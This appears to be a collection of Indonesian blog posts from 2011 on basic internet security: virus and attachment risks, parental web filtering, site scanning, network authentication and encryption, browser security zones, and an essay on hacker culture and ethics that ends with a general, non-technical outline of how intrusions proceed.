E-mail membawa virus – virus & berbagai program yang jahat di sebar luaskan melalui attachment di e-mail. Sebelum membuka attachment, ada baiknya melihat siapa yang mengirim. Sebaiknya jangan membuka kiriman attachment yang berupa program / script yang mencurigakan walaupun itu dikirim oleh orang yang kita kenal. Jangan mengirimkan program ke orang lain, hanya karena menarik, bukan mustahil program tersebut merupakan trojan horse.

Hidden file extensions – sistem operasi Windows mempunyai pilihan “Hide file extensions for known file types”. Pilihan ini di enable dalam default setting Windows, user bisa saja men-disable pilihan tersebut agar tidak di eksploitasi oleh virus. Serangan besar pertama yang mengeksploitasi hidden file extension adalah VBS/LoveLetter worm yang membawa e-mail attachment dengan nama “LOVE-LETTER-FOR-YOU.TXT.vbs”.  Tentunya masih banyak lagi virus jenis ini dengan file extension .vbs, .exe, .pif – sering kali terlihat aman karena seperti menggunakan extension .txt, .mpg, .avi.

Chat klien – aplikasi Internet chat, seperti instant messaging dan Internet Relay Chat (IRC), mempunyai mekanisme agar informasi di kirimkan dua arah antara komputer di Internet. Chat klien memungkinkan sekelompok individu bertukar dialog, URL web, dan berbagai file. Karena banyak chat klien memungkinkan untuk mengirimkan program, maka resiko yang ada sama dengan virus yang dikirim melalui attachment e-mail.

Packet sniffing – paket sniffer adalah program untuk menangkap informasi dalam paket data pada saat data bergerak di jaringan. Data ini mungkin termasuk username, password dan berbagai informasi rahasia yang dikirim dalam bentuk teks. Bayangkan jika banyak username & password yang bisa di curi oleh intruder. Sialnya, program packet sniffer belum tentu membutuhkan ijin level  administrator untuk menginstallnya. Yang cukup berbahaya adalah rekan-rekan WARNET, rumah, kantor yang menggunakan sambungan kabel modem (terutama di Jakarta) karena packet sniffer menangkap username & password anda & seluruh tetangga anda.

Di samping serangan yang sangat soft di atas, ada beberapa resiko lain yang juga akan membuat pusing kepala kita walaupun tanpa sambungan ke Internet sama sekali. Beberapa diantaranya adalah harddisk crash (kehilangan data penting), matinya PLN, pencuri yang mungkin mengambil laptop / desktop yang mengakibatkan data penting hilang. Ada baiknya bagi informasi yang sangat penting anda mencoba meng-enkrip data-data tersebut menggunakan program enkripsi, seperti PGP (Pretty Good Privacy), agar tidak bisa dilihat oleh pencuri.

Ada beberapa hal yang perlu dilakukan oleh pengguna agar sistem mereka aman dari berbagai serangan di atas. Beberapa diantaranya adalah:

  • Berkonsultasi kepada personal system support perusahaan anda, jika anda bekerja di rumah.
  • Gunakan software anti virus.
  • Gunakan firewall.
  • Jangan membuka attachment e-mail yang tidak diketahui asal muasalnya.
  • Jangan menjalankan program yang asalnya tidak meyakinkan.
  • Disable hidden filename extensions
  • Pastikan semua aplikasi (termasuk sistem operasi) menggunakan yang paling baru.
  • Matikan komputer atau putuskan hubungan dengan jaringan pada saat tidak digunakan.
  • Disable Java, JavaScript, & ActiveX jika memungkinkan.
  • Disable fitur scripting di program e-mail
  • Lakukan backup secara regular akan data yang penting.

Buat boot disk yang akan berguna

Mengamankan Internet untuk putra-putri anda

•23 Desember 2011 • Tinggalkan sebuah Komentar

Dalam beberapa kesempatan berdialog dengan teman-teman pengguna Internet terutama para orang tua, pertanyaan tentang sensor Internet bagi anak-anak menjadi pertanyaan standar yang sering sekali di layangkan.

Orang tua tidak menginginkan anak-nya melihat hal-hal yang kurang baik di Internet sebelum waktunya. Jika putra / putri anda sudah cukup umur terutama mahasiswa, biasanya hal seperti itu bisa dibebaskan.

Jika kita memiliki PC sendiri di rumah untuk akses ke Internet maka anda cukup beruntung karena umumnya browser (seperti IE5.0, Netscape) sudah menambahkan fasilitas untuk mem-filter content Web yang tidak baik.

Pada IE 5.0 fasilitas sensor / filter tersebut dapat di aktifkan melalui Tools à Internet Options à Content à Content Advisor à Enable. Maka akan tampak windows seperti gambar terlampir.Cukup banyak fasilitas yang diberikan oleh Content Rating ini, pada prinsip-nya yang akan di rating akan meliputi empat hal utama yaitu:

  • Language (bahasa)
  • Nudity
  • Sex
  • Violence (kebrutalan).

Pola rating yang digunakan adalah dari Recreational Software Advisory Council rating service for the Internet (RSACi) yang berbasis pada kerja Dr. Donald F. Roberts dari Stanford University. Dr. Robert mempelajari efek dari media selama 20 tahun. Ada lima (5) tahapan rating yang dapat dipilih dari ke empat (4) aspek di atas dalam contoh terlihat rating level 4 dalam hal bahasa yang akan memfilter situs yang membawa bahasa yang kasar.

Setelah kita Apply rating à OK maka content advisor akan menanyakan password kepada kita. Isikan password supaya hanya kita saja yang bisa mengubah filter tersebut, dengan cara itu jika putra-putri anda mengakses ke Internet maka jika ada hal-hal yang kurang baik di Internet tidak akan bisa di lihat / dibaca / di download melalui browser IE 5.0 yang anda gunakan. Sialnya lagi putra-putri anda tidak akan bisa mengubah settingnya karena password content rating hanya dimiliki oleh anda. Oleh karenanya jangan sekali-sekali memberikan password tersebut ke putra-putri anda.

Mudah-mudahan  pola ini juga dapat di sebar luaskan ke rekan-rekan pengusaha Warung Internet agar kita dapat memperoleh jaminan bahwa putra-putri kita yang mengakses Internet di WarNet-Warnet akan aman dari hal-hal yang kurang baik.

Mencheck Keamanan Situs Anda

•23 Desember 2011 • Tinggalkan sebuah Komentar

Pada saat anda / institusi anda mengambil keputusan untuk berada (presense) di Internet maka reputasi  anda akan juga di tentukan oleh image anda di Internet. Tentunya konsep-konsep public relation (PR) yang dikenal lama di dunia old-economy juga berlaku di dunia cyber; bedanya di dunia cyber infrastruktur mampu untuk berinteraksi dua (2) arah menjadikan segalanya menjadi lebih menarik. Tentunya kemampuan infrastruktur interaksi dua (2) arah hanya berguna jika kita mau berinteraksi dengan masyarakat banyak di internet, kecepatan & kemampuan kita untuk merespons mayarakat yang akhirnya menjadi bagian penting dalam berbagai aspek sosial dalam hubungan antar manusia.

 Aspek yang tidak kalah pentingnya adalah kemampuan pertahanan situs kita terhadap serangan cracker yang ingin mengacaukan situs. Bayangkan kalau informasi situs ternyata di ubah oleh para hacker / cracker betapa malunya yang mempunyai situs yang lebih memalukan lagi adalah owner dari situs karena kesan-nya menjadi sangat buruk. Bayangkan kalau situs tersebut adalah situs toko atau bank tentunya akan sangat sulit bagi kita meraih kepercayaan publik sehingga akan merembet ke berbagai seperti tidak akan ada transaksi dagang. Bagaimana kita bisa percaya bahwa transaksi yang dilakukan apakah tidak akan di intip oleh orang lain? Apakah kita bisa percaya bahwa nomor kartu kredit tidak akan di curi?

Salah satu cara yang paling sederhana adalah dengan cara memohon pertolongan kepada rekan-rekan yang ahli dalam bidang keamanan jaringan Internet untuk membantu mengamankan situs yang kita miliki. Ada beberapa servis di Internet yang bisa memberikan servis untuk mencheck maupun mengamankan situs yang kita miliki. Contohnya adalah secure-me.net adalah servis di Internet yang dapat mengamankan atau minimal apakah setting Internet yang kita gunakan cukup baik & tidak bolong oleh cracker. Contoh servis ini adalah http://www.secure-me.net

Secure-Me (http://www.secure-me.net) merupakan servis di Internet yang sebagian bisa di peroleh secara cuma-cuma untuk melihat apakah sistem jaringan yang kita miliki cukup aman & tidak ada hole yang terbuka. Memang scan yang sifatnya kompleks tidak diberikan secara gratis. Tampak pada gambar adalah http://www.secure-me.net pada saat kita melakukan registrasi untuk meminta tolong agar sistem yang kita miliki di scan.

Secure-Me bukan sekedar menscan biasa. Setelah melakukan scan awal, Secure-Me akan mengevaluasi hasilnya untuk kemudian mendeteksi berbagai kelemahan yang ada pada sistem. Karena pengalaman mereka dalam melakukan scanning berbagai sistem maka setiap minggu secure-me mau tidak mau harus mencoba banyak hal yang baru. Tampak pada gambar juga diperlihatkan antrian berbagai mesin yang mengantri untuk di scan. Memang untuk basic scan

”MEMPERCAYAI” PASSWORD: NETWORK AUTHENTICATION

•23 Desember 2011 • Tinggalkan sebuah Komentar

Aspek security jaringan berkaitan erat dengan servis yang disediakan: inbound atau outbound. Security pada servis outbound dapat diupayakan sebaik mungkin dengan konfigurasi firewall. Demikian pula dengan akses anonymous servis inbound, seperti anonymous FTP, HTTP, Gopher dll. Dalam hal ini, informasi sengaja disediakan bagi semua orang. Lain halnya bila kita ingin menyediakan akses non-anonymous (atau authenticated services), dimana selain melalui firewall, seseorang yang meminta akses juga harus mendapat ‘ijin’ server setelah terlebih dahulu membuktikan identitasnya. Inilah authentication. Untuk selanjutnya, penulis menggunakan istilah autentisasi sebagai sinonim kata tersebut.

Resiko-Security Servis Inbound

Mengapa perlu autentisasi…..? Internet adalah jaringan publik, dan terbuka bagi setiap orang diseluruh penjuru dunia untuk menggabungkan diri. Begitu besarnya jaringan ini, telah menimbulkan keuntungan serta kerugian. Sering kita dengar dan baca tentang bobolnya sistem komputer keuangan bank, informasi rahasia Pentagon atau basis data transkrip akademik mahasiswa. Kalimat tersebut cukup untuk mewakili pernyataan bahwa kita harus ‘waspada’ terhadap orang-orang ‘jahat’ dan senantiasa berusaha memperkecil kemungkinan bagi mereka untuk dapat melakukan niat jahatnya. Memang mudah untuk meniadakan kemungkinan penyusupan (akses ilegal) dari luar dengan menutup semua kanal trafik servis inbound ke jaringan internal. Namun ini berarti telah mereduksi keuntungan utama adanya jaringan: komunikasi dan pemakaian sumber daya bersama (sharing resources). Jadi, konsekuensi alami dengan jaringan cukup besar, adalah menerima dan berusaha untuk memperkecil resiko ini, bukan meniadakannya.

Kita akan mulai dari seorang network-administrator (NA) yang telah melakukan tugasnya dengan baik, dalam menyiapkan ‘pertahanan’ bagi semua servis outbound dan anonymous-inbound. Perlu beberapa hal tambahan lagi yang sebaiknya diingat. Apakah pertahanan tersebut sudah cukup kuat bagi terjadinya pencurian hubungan (hijacking attack)? Apakah didalamnya sudah dipertimbangkan kemungkinan pemonitoran ilegal paket-paket informasi yang dikirimkan (packet sniffing - playback attack)? Atau apakah sudah termasuk kesiapan bagi benar-benar adanya akses ilegal didalam sistem (false authentication)?

Hijacking biasanya terjadi pada komputer yang menghubungi jaringan kita, walaupun untuk beberapa kasus langka, bisa terjadi pada sembarang jalur yang dilaluinya. Sehingga akan bijaksana bila seorang NA mempertimbangkan pemberian kepercayaan akses, hanya dari komputer yang paling tidak mempunyai sistem security sama atau mungkin lebih ‘kuat’, dibandingkan dengan jaringan dibawah tanggung-jawabnya. Usaha memperkecil peluang musibah ini, juga dapat dilakukan dengan mengatur packet-filter dengan baik atau menggunakan server modifikasi. Misalnya, kita dapat menyediakan fasilitas anonymous-FTP bagi sembarang komputer dimanapun, tapi authenticated-FTP hanya diberikan pada host-host yang tercantum pada daftar ‘kepercayaan’. Hijacking ditengah jalur dapat dihindari dengan penggunaan enkripsi antar jaringan (end to end encryption).

Kerahasiaan data dan password juga merupakan topik disain security. Program yang didedikasikan untuk packet-sniffing dapat secara otomatis menampilkan isi setiap paket data antara client dengan servernya. Proteksi password dari kejahatan demikian dapat dilakukan dengan implementasi password sekali pakai (non-reusable password), sehingga walaupun dapat termonitor oleh sniffer, password tersebut tidak dapat digunakan lagi.

Resiko hijacking dan sniffing data (bukan password) tidak dapat dihindari sama sekali. Artinya NA harus mempertimbangkan kemungkinan ini dan melakukan optimasi bagi semakin kecil-nya kesempatan tersebut. Pembatasan jumlah account dengan akses penuh serta waktu akses jarak jauh, merupakan salah satu bentuk optimasi.

Mekanisme Autentisasi

Subyek autentisasi adalah pembuktian. Yang dibuktikan meliputi tiga kategori, yaitu: sesuatu pada diri kita (something you are SYA), sesuatu yang kita ketahui (something you know SYK), dan sesuatu yang kita punyai (something you have SYH). SYA berkaitan erat dengan bidang biometrik, seperti pemeriksaan sidik-jari, pemeriksaan retina mata, analisis suara dll. SYK identik dengan password. Sedangkan bagi SYH umumnya digunakan kartu identitas seperti smartcard. \

Barangkali, yang sekarang masih banyak digunakan adalah sistem ber-password. Untuk menghindari pencurian password dan pemakaian sistem secara ilegal, akan bijaksana bila jaringan kita dilengkapi sistem password sekali pakai. Bagaimana caranya penerapan metoda ini?

Pertama, menggunakan sistem perangko-waktu ter-enkripsi. Dengan cara ini, password baru dikirimkan setelah terlebih dulu dimodifikasi berdasarkan waktu saat itu. Kedua, menggunakan sistem challenge-response (CR), dimana password yang kita berikan tergantung challenge dari server. Kasarnya kita menyiapkan suatu daftar jawaban (response) berbeda bagi ‘pertanyaan’ (challenge) yang berbeda oleh server. Karena tentu sulit sekali untuk menghafal sekian puluh atau sekian ratus password, akan lebih mudah jika yang dihafal adalah aturan untuk mengubah challenge yang diberikan menjadi response (jadi tidak random). Misalnya aturan kita adalah: “kapitalkan huruf kelima dan hapus huruf keempat”, maka password yang kita berikan adalah MxyPtlk1W2 untuk challenge sistem Mxyzptlk1W2.

Kalau pada sistem CR, harus diketahui ‘aturan‘-nya, maka pada sistem perangko-waktu, kita mesti mengingat password bagi pemberian perangko-waktu ini. Apakah cara seperti ini tidak mempersulit? Beruntung sekali mekanisme tersebut umumnya ditangani oleh suatu perangkat, baik perangkat lunak ataupun dengan perangkat keras. Kerberos, perangkat lunak autentisasi yang dibuat di MIT dan mengadopsi sistem perangko-waktu, mewajibkan modifikasi client bagi sinkronisasi waktu dengan server serta pemberian password perangko-waktu. Modifikasi program client mengingatkan kita pada proxy dan memang, kurang lebih seperti itu. Sistem CR biasanya diterapkan sekaligus dengan dukungan perangkat keras. Contoh sistem CR operasional adalah perangkat SNK-004 card (Digital Pathways) yang dapat diterapkan bersama-sama dengan paket TIS-FWTK (Trusted Information System – internet FireWall ToolKit).

TIS-FWTK menawarkan solusi password sekali pakai (sistem CR) yang ‘menyenangkan’: S/Key. S/Key menerapkan prosedur algoritma hash iteratif terhadap suatu seed, sedemikian sistem dapat memvalidasi response-client instant tapi tidak mempunyai kemampuan untuk memprediksi response-client berikutnya. Sehingga bila terjadi penyusupan pada sistem, tidak ada ‘sesuatu’  yang bisa dicuri (biasanya daftar password). Algoritma hash mempunyai dua sifat utama. Pertama, masukan tidak bisa diregenerasikan dari keluaran (non-reversibel). Kedua, terdapat dua kemungkinan masukan bagi sebuah keluaran yang sama.

Enkripsi dan Cryptography

Cryptography telah berkembang sejak lama, ketika orang menginginkan informasi yang ia kirimkan tidak dapat ‘dibaca’ oleh pihak tak berkepentingan. Secara tradisional cryptography dikenal dengan dua mekanisme, kunci privat atau kunci publik. DES (data encryption standard) yang digunakan oleh Kerberos menggunakan sistem kunci-privat. RSA (Rivest Shamir Addleman) mengimplementasikan sistem kunci-publik. Salah satu dari kontributor RSA, Ron Rivest kemudian membuat MD4 (message digest function # 4) yang digunakan oleh S/Key-nya TIS-FWTK. Optimasi dan blasteran antara kedua metoda tradisional ini melahirkan PGP (Pretty Good Privacy). Pembahasan dari DES, RSA, atau PGP merupakan buku tersendiri dan tidak pada tempatnya diungkapkan disini. Tapi yang jelas, sistem kunci-privat dicirikan dengan proses encrypt-decrypt melalui kunci identik, sedangkan pada sistem kunci-publik, proses ini dilakukan dengan dua buah kunci: kunci publik untuk encrypt dan kunci rahasia untuk decrypt dimana kedua kunci ini digenerasikan dan mempunyai relasi dekat melalui sebuah algoritma matematis. Karena diperlukan proses matematis terlebih dulu, kecepatan sistem kunci-publik bisa ribuan kali lebih lambat dari algoritma kunci-privat ekivalen walaupun disisi lain menawarkan proteksi lebih baik. Eksploitasi terhadap kelebihan dan kekurangan sistem kunci privat dan publik dilakukan PGP, dimana untuk transmisi data dilakukan secara sistem kunci-privat dengan session-key sehingga berjalan cepat, sedangkan transmisi session-key- nya sendiri menggunakan kunci-publik.

Dengan enkripsi, informasi yang kita kirimkan ke suatu jaringan melalui jaringan lain yang keamanannya meragukan (internet), relatif lebih terjamin. Enkripsi antar jaringan menyebabkan seorang ‘pencuri’ harus berusaha sedikit lebih keras untuk mendapatkan informasi ilegal yang ia harapkan. Ada beberapa kesempatan bagi implementasi enkripsi, yaitu: pada level aplikasi, level data-link, dan level jaringan.

Enkripsi pada level aplikasi mensyaratkan penggunaan perangkat lunak client-server khusus. Sesuai dengan model referensi OSI, enkripsi data-link hanya berlaku untuk hubungan titik ke titik, seperti sistem enkripsi pada modem telepon. Sedangkan enkripsi level jaringan (network layer) diterapkan pada router atau peralatan lain yang bersebelahan dengan jaringan dikedua sisi. Optimasi kepentingan dan kebijakan security dilakukan dengan mengatur jenis/bagian paket IP yang akan dienkrip, penyesuaian terhadap arsitektur firewall dan konsekuensinya, efektifitas distribusi kunci-enkripsi dll. Di masa depan, dimana teknologi VLAN (Virtual LAN) diperkirakan menjadi pilihan utama untuk Intranet  (enterprisewide), penggunaan enkripsi level jaringan ini menjadi begitu penting. Barangkali sama pentingnya dengan keadaan sebuah perusahaan yang sementara ini ‘terpaksa’ menggunakan internet sebagai jalur bagi pengiriman informasi sensitif antara kantor pusat dengan cabangnya dibelahan bumi yang lain.

Kerberos dan TIS-FWTK Authentication Server

Kerberos adalah salah satu karya proyek Athena, kolaborasi antara MIT, IBM dan DEC. Kerberos didisain untuk medukung autentisasi dan enkripsi data pada lingkungan terdistribusi melalui modifikasi client atau server standard. Beberapa vendor sistem operasi telah memasukan Kerberos kedalam produknya. MIT sendiri menyediakan secara free banyak versi Unix yang telah di-Kerberizing. Bahkan bagi kepentingan porting ke sistem operasi atau perangkat lunak client-server yang belum mendukung Kerberos, MIT menyediakan source-code nya, juga secara free. Proyek Athena sendiri mengimplementasikan Kerberos pada banyak aplikasi seperti NFS, rlogin, email, dan sistem password. Secure RPC (Sun Microsystems) juga mengimplementasikan hal yang sama.

Ada beberapa hal yang perlu dipertimbangkan dalam implementasi Kerberos. Modifikasi perangkat lunak client dan server akan menyebabkan pembatasan pilihan aplikasi. Sayangnya juga tidak ada metoda alternatif sebagai pengganti modifikasi source-code (seperti dalam proxy yang membolehkan custom user procedure atau custom client software). Kemudian, umumnya orang juga sepakat untuk menyebut: “Kerberos relatif sulit diterapkan/ dikelola”.

Paket sistem autentisasi lain ditawarkan oleh TIS-FWTK: authentication-server. Server ini didisain secara modular, fleksibel sehingga mendukung banyak mekanisme autentisasi populer seperti sistem password reusable standard, S/Key, card SecurdID dari Security Dynamics (sistem dengan perangko-waktu), card SNK-004 Digital Pathways (sistem CR) serta kemudahan untuk pengintegrasian mekanisme baru. Kembali kepada perbincangan diawal tulisan ini, kalau kepentingan utama kita adalah bagaimana menyiapkan ‘pertahanan’ bagi servis inbound non-anonymous, barangkali authentication-server adalah solusi yang patut dipertimbangkan. Mengapa? Bagaimana sistem ini bekerja? Tidak banyak ruang dalam tulisan ini untuk memuat semua diskusi kita tentang autentisasi, tapi ilustrasi penutup berikut akan memberikan sedikit gambaran bagi anda, peminat security jaringan, menyangkut authentication-server. Selamat menyimak!

Membuat Browing di Internet lebih aman

•23 Desember 2011 • Tinggalkan sebuah Komentar

Pada saat kita melakukan browsing di Internet ada banyak hal yang mungkin saja terjadi. Misalnya ada situs web yang mengirimkan program dalam bentuk script activex yang mungkin akan melakukan sesuatu di PC yang kita gunakan (bisa mengambil data dsb), ada situs Web yang mengirimkan program dalam bentuk cookies dsb. Tentunya kita tidak menginginkan komputer & data-data yang kita miliki nantinya di ambil orang sembarangan orang.

Kita cukup beruntung bahwa browser seperti IE 5.0 telah menyiapkan beberapa fasilitas yang memungkinkan menangkal hal-hal yang tidak di inginkan tsb. Fasilitas tsb dapat diperoleh pada Tools à Internet Options à Security. Ada empat (4) kategori situs yang mempunya setting proteksi yang berbeda-beda, yaitu:

  • Situs Internet
  • Situs lokal IntraNet.
  • Situs yang bisa dipercaya (trusted sites)
  • Situs yang berbahaya (restricted sites)

Ada empat (4) level (tingkatan) setting dari dari keamanan yang dapat di set dari yang paling aman tapi paling banyak hal yang di disable / tidak di fungsikan. Sampai yang paling tidak aman, tapi semua fasilitas jadi dapat jalan tanpa pengaman sama sekali.

Pada tingkat yang paling tinggi, jika ini di set untuk Internet maka sering kali kita akan sulit browsing ke situs-situs di Internet yang menggunakan program-program kecil seperti activex & cookies. Salah satu contohnya setahu penulis yahoo.com akan sulit di akses jika tingkat keamanan di set ke yang paling tinggi.

Pada trusted sites & restricted sites, kita dapat memasukan sebuah daftar situs mana saja yang termasuk kategori tersebut. Hal ini juga bisa digunakan bagi para orang tua / guru yang ingin menset ke mana saja, putra-putri mereka boleh akses situs di Internet.

Masyarakat Underground Dunia Maya

•23 Desember 2011 • Tinggalkan sebuah Komentar

Masyarakat Underground? Bawah tanah? … Betul, masyarakat yang tidak terlihat, tidak terdeteksi, seperti siluman, mereka hidup & berjaya di dunia maya – tanpa terdeteksi oleh pengguna Internet biasa, tak terdeteksi oleh sistem administrator WARNET & ISP.

Siapakah mereka? – mereka adalah para hacker. Media & stereotype masyarakat membentuk karakter hacker sebagai orang jahat dan suka merusak. Stereotype ABG 15-20 tahun-an, yang duduk di belakang komputer berjam-jam, masuk ke sistem dan men-delete, berbelanja menggunakan kartu kredit curian atau menghancurkan apa saja yang bisa mereka hancurkan – “anak” ini dikenal sebagai cracker bukan sebagai hacker. Cracker ini yang sering anda dengar di berita / media, mematikan situs web, menghapus data dan membuat kekacauan kemanapun mereka pergi. Hacker yang betul sebenarnya  tidak seperti yang ada dalam stereotype banyak orang di atas.

Di dunia elektronik underground nama jelas & nama lengkap tidak digunakan. Orang biasanya menggunakan nama alias, callsign atau nama samaran. Hal ini memungkinkan kita bisa menyamarkan identitas, dan hanya di kenali sesama underground. Beberapa nama diantara hacker Indonesia bisa dikenali seperti hC, cbug, litherr, fwerd, d_ajax, r3dshadow, cwarrior, ladybug, chiko, gelo, BigDaddy dsb..

Apakah perbedaan mendasar antara seorang cracker & hacker? Di http://www.whatis.com, cracker di definisikan sebagai “seseorang yang masuk ke sistem orang lain, biasanya di jaringan komputer, membypass password atau lisensi program komputer, atau secara sengaja melawan keamanan komputer. Cracker dapat mengerjakan hal ini untuk keuntungan, maksud jahat, atau karena sebab lainnya karena ada tantangan. Beberapa proses pembobolan dilakukan untuk menunjukan kelemahan keamanan sistem”

Berbeda dengan Cracker, Hacker menurut Eric Raymond di definisikan sebagai programmer yang pandai. Sebuah hack yang baik adalah solusi yang cantik kepada masalah programming dan “hacking” adalah proses pembuatan-nya. Ada beberapa karakteristik yang menandakan seseorang adalah hacker, seperti (1) dia suka belajar detail dari bahasa pemrograman atau system, (2) dia melakukan pemrograman tidak cuma berteori saja, (3) dia bisa menghargai, menikmati hasil hacking orang lain, (4) dia dapat secara cepat belajar pemrogramman, dan (5) dia ahli dalam bahasa pemrograman tertentu atau sistem tertentu, seperti “UNIX hacker”.

Yang menarik, ternyata dalam dunia hacker terjadi strata / tingkatan / level yang diberikan oleh komunitas hacker kepada seseorang karena kepiawaiannya, bukan karena umur atau senioritasnya. Proses yang paling berat adalah untuk memperoleh pengakuan / derajat / acknowledgement diantara masyarakat underground, seorang hacker harus mampu membuat program untuk meng-eksploit kelemahan sistem, menulis tutorial (artikel) biasanya dalam format ASCII text biasa, aktif diskusi di mailing list / IRC channel para hacker, membuat situs web dsb. Entah kenapa warna background situs web para hacker seringkali berwarna hitam gelap, mungkin untuk memberikan kesan misterius. Proses memperoleh acknowledgement / pengakuan, akan memakan waktu lama bulanan bahkan tahun, tergantung ke piawaian hacker tersebut.

Proses memperoleh pengakuan di antara sesama hacker tidak lepas dari etika & aturan main dunia underground. Etika ini yang akhirnya akan membedakan antara hacker & cracker, maupun hacker kelas rendahan seperti Lamer & Script Kiddies. Salah satu etika yang berhasil di formulasikan dengan baik ada di  buku Hackers: Heroes of the Computer Revolution, yang ditulis oleh Steven Levy 1984, ada enam (6) etika yang perlu di resapi seorang hacker:

  1. Akses ke komputer – dan apapun yang akan mengajarkan kepada anda bagaimana dunia ini berjalan / bekerja – harus dilakukan tanpa batas & totalitas. Selalu mengutamakan pengalaman lapangan!
  2. Semua informasi harus bebas, terbuka, transparan, tidak di sembunyikan.
  3. Tidak pernah percaya pada otoritas, penguasa  – percaya pada desentralisasi.
  4. Seorang hacker hanya di nilai dari kemampuan hackingnya, bukan kriteria buatan seperti gelar, umur, posisi atau suku bangsa.
  5. Seorang hacker membuat seni & keindahan di komputer.
  6. Komputer dapat mengubah hidup anda menuju yang lebih baik.

Gambaran umum aturan main yang perlu di ikuti seorang hacker seperti di jelaskan oleh Scorpio http://packetstorm.securify.com/docs/hack/ethics/my.code.of.ethics.html, yaitu:

  • Di atas segalanya, hormati pengetahuan & kebebasan informasi.
  • Memberitahukan sistem administrator akan adanya pelanggaran keamanan / lubang di keamanan yang anda lihat.
  • Jangan mengambil keuntungan yang tidak fair dari hack.
  • Tidak mendistribusikan & mengumpulkan software bajakan.
  • Tidak pernah mengambil resiko yang bodoh – selalu mengetahui kemampuan  sendiri.
  • Selalu bersedia untuk secara terbuka / bebas / gratis memberitahukan & mengajarkan berbagai informasi & metoda yang diperoleh.
  • Tidak pernah meng-hack sebuah sistem untuk mencuri uang.
  • Tidak pernah memberikan akses ke seseorang yang akan membuat kerusakan.
  • Tidak pernah secara sengaja menghapus & merusak file di komputer yang dihack.
  • Hormati mesin yang di hack, dan memperlakukan dia seperti mesin sendiri.

Jelas dari Etika & Aturan main Hacker di atas, sangat tidak mungkin seorang hacker betulan akan membuat kerusakan di komputer.

Tentunya ada berbagai tingkatan / strata di dunia underground. Saya yakin tidak semua orang setuju dengan derajat yang akan dijelaskan disini, karena ada kesan arogan terutama pada level yang tinggi. Secara umum yang paling tinggi (suhu) hacker sering di sebut ‘Elite’; di Indonesia mungkin lebih sering di sebut ‘suhu’. Sedangkan, di ujung lain derajat hacker dikenal ‘wanna-be’ hacker atau dikenal sebagai ‘Lamers’. Yang pasti para pencuri kartu kredit bukanlah seorang hacker tingkat tinggi, mereka hanyalah termasuk kategori hacker kelas paling rendah / kacangan yang sering kali di sebut sebagai Lamer. Mereka adalah orang tanpa pengalaman & pengetahuan biasanya ingin menjadi hacker (wanna-be hacker). Lamer biasanya membaca atau mendengar tentang hacker & ingin seperti itu. Penggunaan komputer Lamer terutama untuk main game, IRC, tukar menukar software prirate, mencuri kartu kredit. Biasanya melakukan hacking menggunakan software trojan, nuke & DoS (Denial of Service). Biasanya menyombongkan diri melalui IRC channel dsb. Karena banyak kekurangannya untuk mencapai elite, dalam perkembangannya Lamer hanya akan sampai level developed kiddie atau script kiddie saja.

Developed Kiddie, dua tingkat di atas Lamer – di sebut Kiddie karena kelompok ini masih muda (ABG) & masih sekolah (SMU atau sederajat). Mereka membaca tentang metoda hacking & caranya di berbagai kesempatan. Mereka mencoba berbagai sistem sampai akhirnya berhasil & memproklamirkan kemenangan ke lainnya. Umumnya mereka masih menggunakan Grafik User Interface (GUI) & baru belajar basic dari UNIX, tanpa mampu menemukan lubang kelemahan baru di sistem operasi.

Script Kiddie, seperti tingkat di atasnya, yaitu developed kiddie, biasanya melakukan aktifitas hacking berbasis pada Grafical User Interface (GUI). Seperti juga Lamers, mereka hanya mempunyai pengetahuan teknis networking yang sangat minimal.  Hacking dilakukan menggunakan trojan untuk menakuti & menyusahkan hidup sebagian pengguna Internet.

Dua tingkat tertinggi para hacker & yang membuat legenda di underground dunia maya, adalah tingkat Elite & Semi Elite. Barangkali kalau di terjemahkan ke bahasa Indonesia, tingkat ini merupakan suhu dunia underground. Elite juga dikenal sebagai 3l33t, 3l337, 31337 atau kombinasi dari itu; merupakan ujung tombak industri keamanan jaringan. Mereka mengerti sistem operasi luar dalam, sanggup mengkonfigurasi & menyambungkan jaringan secara global. Sanggup melakukan pemrogramman setiap harinya. Sebuah anugrah yang sangat alami, mereka biasanya effisien & trampil, menggunakan pengetahuannya dengan tepat. Mereka seperti siluman dapat memasuki sistem tanpa di ketahui, walaupun mereka tidak akan menghancurkan data-data. Karena mereka selalu mengikuti peraturan yang ada.

Semi Elite – hacker ini biasanya lebih muda daripada Elite. Mereka juga mempunyai kemampuan & pengetahuan luas tentang komputer. Mereka mengerti tentang sistem operasi (termasuk lubangnya). Biasanya dilengkapi dengan sejumlah kecil program cukup untuk mengubah program eksploit. Banyak serangan yang dipublikasi dilakukan oleh hacker kaliber ini, sialnya oleh para Elite mereka sering kali di kategorikan Lamer.

Sombong merupakan salah satu sebab utama seorang hacker tertangkap. Mereka menyombongkan diri & memproklamirkan apa yang mereka capai untuk memperoleh pengakuan dari yang lain. Hacker lain, karena pengetahuan-nya masih kurang, biasanya akan memilih target secara hati-hati, tanpa terlihat, diam-diam seperti siluman di kegelapan malam. Setelah melalui banyak semedi & membaca banyak buku-buku tentang kerja jaringan komputer, Request For Comment (RFC) di Internet & mempraktekan socket programming. Semua ini tidak pernah di ajarkan di bangku sekolah maupun kuliah manapun. Secara perlahan mereka akan naik hirarki mereka sesuai dengan kemampuannya, tanpa menyombongkan dirinya – itulah para suhu dunia underground. Salah satu suhu hacker di Indonesia yang saya hormati & kagumi kebetulan bekas murid saya sendiri di Teknik Elektro ITB, beliau relatif masih muda + sekarang telah menjadi seorang penting di Research & Development Telkomsel.

Umumnya pembuatan software akan sangat berterima kasih akan masukan dari para hacker, karena dengan adanya masukan ini software yang mereka buat menjadi semakin baik. Memang kadang eksploit yang dihasilkan para hacker tidak langsung di peroleh si perusahaan software, tapi di tahan oleh komunitas underground ini – sampai digunakan oleh lamers & membuat kekacauan.

Bagaimana proses hacking dilakukan? Ah ini bagian paling menarik dalam dunia underground. Ada bermacam-macam teknik hacking, yang paling menyebalkan adalah jika terjadi Denial of Service (DoS) yang menyebabkan server / komputer yang kita gunakan menjadi macet / mati. Terlepas dari masalah menyebalkan, secara umum ada empat (4) langkah sederhana yang biasanya dilakukan, yaitu:

  1. Membuka akses ke situs.
  2. Hacking root (superuser)
  3. Menghilangkan jejak.
  4. Membuat backdoor (jalan belakang), untuk masuk di kemudian hari.

